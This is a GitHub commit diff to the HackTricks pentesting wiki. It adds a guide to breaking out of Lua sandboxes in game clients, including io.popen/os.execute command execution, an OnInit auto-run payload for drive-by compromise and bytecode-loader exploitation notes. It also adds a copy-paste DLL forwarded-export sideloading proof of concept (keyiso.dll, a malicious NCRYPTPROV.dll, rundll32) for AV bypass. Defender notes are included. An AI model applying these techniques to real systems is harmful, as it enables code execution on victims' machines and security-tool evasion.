Skip to content

Commit ee674ab

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
2 parents 67d704e + 400b46b commit ee674ab

4 files changed

Lines changed: 196 additions & 11 deletions

File tree

src/SUMMARY.md

Lines changed: 3 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -80,6 +80,8 @@
8080
- [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md)
8181
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
8282
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
83+
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
84+
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
8385

8486
# 🧙‍♂️ Generic Hacking
8587

@@ -926,13 +928,4 @@
926928
- [Post Exploitation](todo/post-exploitation.md)
927929
- [Investment Terms](todo/investment-terms.md)
928930
- [Cookies Policy](todo/cookies-policy.md)
929-
930-
931-
932-
- [Readme](blockchain/blockchain-and-crypto-currencies/README.md)
933-
- [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
934-
- [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
935-
- [Readme](pentesting-web/web-vulnerabilities-methodology/README.md)
936-
- [Readme](reversing/cryptographic-algorithms/README.md)
937-
- [Readme](reversing/reversing-tools/README.md)
938-
- [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md)
931+
Lines changed: 125 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,125 @@
1+
# Bypass Lua sandboxes (embedded VMs, game clients)
2+
3+
{{#include ../../../banners/hacktricks-training.md}}
4+
5+
This page collects practical techniques to enumerate and break out of Lua "sandboxes" embedded in applications (notably game clients, plugins, or in-app scripting engines). Many engines expose a restricted Lua environment, but leave powerful globals reachable that enable arbitrary command execution or even native memory corruption when bytecode loaders are exposed.
6+
7+
Key ideas:
8+
- Treat the VM as an unknown environment: enumerate _G and discover what dangerous primitives are reachable.
9+
- When stdout/print is blocked, abuse any in-VM UI/IPC channel as an output sink to observe results.
10+
- If io/os is exposed, you often have direct command execution (io.popen, os.execute).
11+
- If load/loadstring/loadfile are exposed, executing crafted Lua bytecode can subvert memory safety in some versions (≤5.1 verifiers are bypassable; 5.2 removed verifier), enabling advanced exploitation.
12+
13+
## Enumerate the sandboxed environment
14+
15+
- Dump the global environment to inventory reachable tables/functions:
16+
17+
```lua
18+
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
19+
local function dump_globals(out)
20+
out("=== DUMPING _G ===")
21+
for k, v in pairs(_G) do
22+
out(tostring(k) .. " = " .. tostring(v))
23+
end
24+
end
25+
```
26+
27+
- If no print() is available, repurpose in-VM channels. Example from an MMO housing script VM where chat output only works after a sound call; the following builds a reliable output function:
28+
29+
```lua
30+
-- Build an output channel using in-game primitives
31+
local function ButlerOut(label)
32+
-- Some engines require enabling an audio channel before speaking
33+
H.PlaySound(0, "r[1]") -- quirk: required before H.Say()
34+
return function(msg)
35+
H.Say(label or 1, msg)
36+
end
37+
end
38+
39+
function OnMenu(menuNum)
40+
if menuNum ~= 3 then return end
41+
local out = ButlerOut(1)
42+
dump_globals(out)
43+
end
44+
```
45+
46+
Generalize this pattern for your target: any textbox, toast, logger, or UI callback that accepts strings can act as stdout for reconnaissance.
47+
48+
## Direct command execution if io/os is exposed
49+
50+
If the sandbox still exposes the standard libraries io or os, you likely have immediate command execution:
51+
52+
```lua
53+
-- Windows example
54+
io.popen("calc.exe")
55+
56+
-- Cross-platform variants depending on exposure
57+
os.execute("/usr/bin/id")
58+
io.popen("/bin/sh -c 'id'")
59+
```
60+
61+
Notes:
62+
- Execution happens inside the client process; many anti-cheat/antidebug layers that block external debuggers won’t prevent in-VM process creation.
63+
- Also check: package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), and the debug library (can raise privileges inside the VM).
64+
65+
## Zero-click triggers via auto-run callbacks
66+
67+
If the host application pushes scripts to clients and the VM exposes auto-run hooks (e.g., OnInit/OnLoad/OnEnter), place your payload there for drive-by compromise as soon as the script loads:
68+
69+
```lua
70+
function OnInit()
71+
io.popen("calc.exe") -- or any command
72+
end
73+
```
74+
75+
Any equivalent callback (OnLoad, OnEnter, etc.) generalizes this technique when scripts are transmitted and executed on the client automatically.
76+
77+
## Dangerous primitives to hunt during recon
78+
79+
During _G enumeration, specifically look for:
80+
- io, os: io.popen, os.execute, file I/O, env access.
81+
- load, loadstring, loadfile, dofile: execute source or bytecode; supports loading untrusted bytecode.
82+
- package, package.loadlib, require: dynamic library loading and module surface.
83+
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, and hooks.
84+
- LuaJIT-only: ffi.cdef, ffi.load to call native code directly.
85+
86+
Minimal usage examples (if reachable):
87+
88+
```lua
89+
-- Execute source/bytecode
90+
local f = load("return 1+1")
91+
print(f()) -- 2
92+
93+
-- loadstring is alias of load for strings in 5.1
94+
local bc = string.dump(function() return 0x1337 end)
95+
local g = loadstring(bc) -- in 5.1 may run precompiled bytecode
96+
print(g())
97+
98+
-- Load native library symbol (if allowed)
99+
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
100+
local foo = mylib()
101+
```
102+
103+
## Optional escalation: abusing Lua bytecode loaders
104+
105+
When load/loadstring/loadfile are reachable but io/os are restricted, execution of crafted Lua bytecode can lead to memory disclosure and corruption primitives. Key facts:
106+
- Lua ≤ 5.1 shipped a bytecode verifier that has known bypasses.
107+
- Lua 5.2 removed the verifier entirely (official stance: applications should just reject precompiled chunks), widening the attack surface if bytecode loading is not prohibited.
108+
- Workflows typically: leak pointers via in-VM output, craft bytecode to create type confusions (e.g., around FORLOOP or other opcodes), then pivot to arbitrary read/write or native code execution.
109+
110+
This path is engine/version-specific and requires RE. See references for deep dives, exploitation primitives, and example gadgetry in games.
111+
112+
## Detection and hardening notes (for defenders)
113+
114+
- Server side: reject or rewrite user scripts; allowlist safe APIs; strip or bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
115+
- Client side: run Lua with a minimal _ENV, forbid bytecode loading, reintroduce a strict bytecode verifier or signature checks, and block process creation from the client process.
116+
- Telemetry: alert on gameclient → child process creation shortly after script load; correlate with UI/chat/script events.
117+
118+
## References
119+
120+
- [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/)
121+
- [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/)
122+
- [lua-l (2009): Discussion on dropping the bytecode verifier](https://web.archive.org/web/20230308193701/https://lua-users.org/lists/lua-l/2009-03/msg00039.html)
123+
- [Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes)](https://gist.github.com/ulidtko/51b8671260db79da64d193e41d7e7d16)
124+
125+
{{#include ../../../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44

55
These are some tricks to bypass python sandbox protections and execute arbitrary commands.
66

7+
78
## Command Execution Libraries
89

910
The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries:

src/windows-hardening/av-bypass.md

Lines changed: 67 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -121,6 +121,69 @@ Both our shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) and the
121121
> [!TIP]
122122
> I **highly recommend** you watch [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) about DLL Sideloading and also [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) to learn more about what we've discussed more in-depth.
123123
124+
### Abusing Forwarded Exports (ForwardSideLoading)
125+
126+
Windows PE modules can export functions that are actually "forwarders": instead of pointing to code, the export entry contains an ASCII string of the form `TargetDll.TargetFunc`. When a caller resolves the export, the Windows loader will:
127+
128+
- Load `TargetDll` if not already loaded
129+
- Resolve `TargetFunc` from it
130+
131+
Key behaviors to understand:
132+
- If `TargetDll` is a KnownDLL, it is supplied from the protected KnownDLLs namespace (e.g., ntdll, kernelbase, ole32).
133+
- If `TargetDll` is not a KnownDLL, the normal DLL search order is used, which includes the directory of the module that is doing the forward resolution.
134+
135+
This enables an indirect sideloading primitive: find a signed DLL that exports a function forwarded to a non-KnownDLL module name, then co-locate that signed DLL with an attacker-controlled DLL named exactly as the forwarded target module. When the forwarded export is invoked, the loader resolves the forward and loads your DLL from the same directory, executing your DllMain.
136+
137+
Example observed on Windows 11:
138+
139+
```
140+
keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
141+
```
142+
143+
`NCRYPTPROV.dll` is not a KnownDLL, so it is resolved via normal search order.
144+
145+
PoC (copy-paste):
146+
1) Copy the signed system DLL to a writable folder
147+
```
148+
copy C:\Windows\System32\keyiso.dll C:\test\
149+
```
150+
2) Drop a malicious `NCRYPTPROV.dll` in the same folder. A minimal DllMain is enough to get code execution; you do not need to implement the forwarded function to trigger DllMain.
151+
```c
152+
// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
153+
#include <windows.h>
154+
BOOL WINAPI DllMain(HINSTANCE hinst, DWORD reason, LPVOID reserved){
155+
if (reason == DLL_PROCESS_ATTACH){
156+
HANDLE h = CreateFileA("C\\\\test\\\\DLLMain_64_DLL_PROCESS_ATTACH.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
157+
if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&w,NULL); CloseHandle(h);}
158+
}
159+
return TRUE;
160+
}
161+
```
162+
3) Trigger the forward with a signed LOLBin:
163+
```
164+
rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
165+
```
166+
167+
Observed behavior:
168+
- rundll32 (signed) loads the side-by-side `keyiso.dll` (signed)
169+
- While resolving `KeyIsoSetAuditingInterface`, the loader follows the forward to `NCRYPTPROV.SetAuditingInterface`
170+
- The loader then loads `NCRYPTPROV.dll` from `C:\test` and executes its `DllMain`
171+
- If `SetAuditingInterface` is not implemented, you'll get a "missing API" error only after `DllMain` has already run
172+
173+
Hunting tips:
174+
- Focus on forwarded exports where the target module is not a KnownDLL. KnownDLLs are listed under `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
175+
- You can enumerate forwarded exports with tooling such as:
176+
```
177+
dumpbin /exports C:\Windows\System32\keyiso.dll
178+
# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
179+
```
180+
- See the Windows 11 forwarder inventory to search for candidates: https://hexacorn.com/d/apis_fwd.txt
181+
182+
Detection/defense ideas:
183+
- Monitor LOLBins (e.g., rundll32.exe) loading signed DLLs from non-system paths, followed by loading non-KnownDLLs with the same base name from that directory
184+
- Alert on process/module chains like: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` under user-writable paths
185+
- Enforce code integrity policies (WDAC/AppLocker) and deny write+execute in application directories
186+
124187
## [**Freeze**](https://github.com/optiv/Freeze)
125188
126189
`Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods`
@@ -511,7 +574,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
511574

512575
### Compiling our own reverse shell
513576

514-
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
577+
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
515578

516579
#### First C# Revershell
517580

@@ -834,6 +897,9 @@ References for PPL and tooling
834897
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
835898
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
836899
- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
900+
- [Hexacorn – DLL ForwardSideLoading: Abusing Forwarded Exports](https://www.hexacorn.com/blog/2025/08/19/dll-forwardsideloading/)
901+
- [Windows 11 Forwarded Exports Inventory (apis_fwd.txt)](https://hexacorn.com/d/apis_fwd.txt)
902+
- [Microsoft Docs – Known DLLs](https://learn.microsoft.com/windows/win32/dlls/known-dlls)
837903
- [Microsoft – Protected Processes](https://learn.microsoft.com/windows/win32/procthread/protected-processes)
838904
- [Microsoft – EKU reference (MS-PPSEC)](https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88)
839905
- [Sysinternals – Process Monitor](https://learn.microsoft.com/sysinternals/downloads/procmon)

0 commit comments

Comments
 (0)